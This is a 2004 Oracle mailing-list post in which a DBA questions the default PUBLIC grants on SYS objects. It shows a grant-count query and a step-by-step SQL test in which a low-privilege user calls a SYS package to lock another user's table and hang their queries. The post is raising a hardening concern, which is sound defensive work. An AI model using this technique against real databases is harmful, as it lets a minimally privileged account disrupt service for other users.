Still too many privileges granted to PUBLIC in

  • From: "Van Winssen, Andre A SITI-ITIBHW5" <Andre.VanWinssen@xxxxxxxxx>
  • To: <oracle-l@xxxxxxxxxxxxx>
  • Date: Tue, 16 Nov 2004 08:31:03 +0100

Lectori Salutem,
after the NIGHTMARE we had over here with applying patches for security alert 
#68 (hundreds of them) we started 
thinking more about 'hacking' and what else could cause database service 
One of the things I am still worried about are to GRANTS to public after a 
database creation (
See below:
  1  select privilege,owner,count(*) from dba_tab_privs
  2* where grantee='PUBLIC' and owner='SYS' group by privilege,owner
SQL> /

PRIVILEGE            OWNER                  COUNT(*)
-------------------- -------------------- ----------
DEBUG                SYS                          12
UNDER                SYS                           1
DELETE               SYS                           3
INSERT               SYS                           4
SELECT               SYS                         776
UPDATE               SYS                           2
EXECUTE              SYS                         443

A little test shows how easy it is to disrupt database service using a login 
that merely has create session priv.

1) create user test identified by dom;
    grant create session to test;
2) create user testdba identified by slim;
    grant connect,dba to testdba;
3) connect testdba/slim
    create table tabje (c1 number);
    insert into tabje values (1);
    select * from tabje;
    >> row returned
4) start another session:
    connect test/dom
    exec sys.dbms_snapshot.BEGIN_TABLE_REORGANIZATION('TESTDBA','TABJE')

If TESTDBA in 4) tries to rerun the select now it hangs and never returns until 
user TEST in step 4 does commit or rollback

Fortunately this fails for objects required for warmstarting the database like 
".ORA-00701: object necessary for warmstarting database cannot be altered"

I am quite sure that a little research in the list of sys owned plsql objects 
for which the grantee is PUBLIC will 
demonstrate more possibilities. 

Please share comments. 

Kind regards,

André van Winssen


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